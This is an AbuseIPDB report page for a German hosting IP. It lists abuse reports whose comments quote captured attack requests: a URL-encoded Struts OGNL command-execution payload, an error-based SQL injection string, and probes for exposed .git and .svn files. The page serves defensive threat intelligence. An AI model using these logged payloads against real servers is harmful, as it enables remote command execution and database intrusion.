JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 65.111.27.215

65.111.27.215 was found in our database!

This IP was reported 11 times. Confidence of Abuse is 0%: ?

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇩🇪 Germany
City	Berlin, State of Berlin

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 65.111.27.215

Whois 65.111.27.215

IP Abuse Reports for 65.111.27.215:

This IP address has been reported a total of 11 times from 5 distinct sources. 65.111.27.215 was first reported on June 27th 2024, and the most recent report was 2 months ago.

Old Reports: The most recent abuse report for this IP address is from 2 months ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇨🇳 ThreatBook.io	2026-05-06 23:42:44 (2 months ago)	ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/65.111.27.215 2026-05-06 01 ... show more ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/65.111.27.215 2026-05-06 01:34:58 /?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%[email protected]@getRuntime%28%29.exec%28%22netstat%20-an%22%29.getInputStream%28%29%2c%23b%3dnew%20java.io.InputStreamReader%28%23a%29%2c%23c%3dnew%20java.io.BufferedReader%28%23b%29%2c%23d%3dnew%20char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 2026-05-06 06:04:48 /geoserver/rest.html show less	Web App Attack
🇨🇳 ThreatBook.io	2026-03-01 23:30:04 (4 months ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.27.215 2026-03- ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.27.215 2026-03-01 10:43:10 /special/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2025-12-16 23:24:13 (6 months ago)	ThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/65.111.27.215 2025- ... show more ThreatBook Intelligence: Zombie,Scanner more details on https://threatbook.io/ip/65.111.27.215 2025-12-16 21:25:28 /examples/servlets/servlet/SessionExample show less	Web App Attack
🇺🇸 TPI-Abuse	2025-11-24 07:50:08 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 65.111.27.215 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 65.111.27.215 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 02:49:59.692583 2025] [security2:error] [pid 4245:tid 4245] [client 65.111.27.215:53679] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "automatebi.com"] [uri "/.git/HEAD"] [unique_id "aSQOJ3HC4jDrlOqbZUaIPgAAABI"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-24 05:11:16 (7 months ago)	(mod_security) mod_security (id:210492) triggered by 65.111.27.215 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 65.111.27.215 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 00:11:07.917048 2025] [security2:error] [pid 6793:tid 6793] [client 65.111.27.215:17603] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.title50.com"] [uri "/.svn/wc.db"] [unique_id "aSPo66OqVBER7sDCZa4H3wAAAAg"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 WeekendWeb	2025-10-15 07:13:50 (8 months ago)	Wordpress Vunerability attack	Web App Attack
Anonymous	2024-11-24 21:13:44 (1 year ago)	wordpress-trap	Web App Attack
Anonymous	2024-07-12 06:09:09 (1 year ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
Anonymous	2024-07-09 00:52:33 (1 year ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
Anonymous	2024-07-03 00:02:15 (2 years ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
Anonymous	2024-06-27 00:35:29 (2 years ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH

Showing 1 to 11 of 11 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇿 213.230.124.162

🇩🇪 213.209.159.25

🇺🇸 192.52.166.112

🇫🇷 163.172.143.147

🇪🇬 156.207.66.123

🇫🇮 147.185.133.188

🇰🇷 121.190.191.160

🇨🇳 45.126.120.53

🇺🇸 20.14.79.76

🇰🇷 221.150.46.130

🇧🇷 205.210.31.205

🇳🇱 193.176.31.220

🇧🇷 186.248.197.77

🇺🇸 166.62.102.109

🇨🇳 123.156.69.220

🇻🇳 116.110.9.98

🇱🇹 77.90.185.79

🇩🇪 64.89.163.132

🇬🇧 35.203.211.184

🇺🇸 20.169.48.59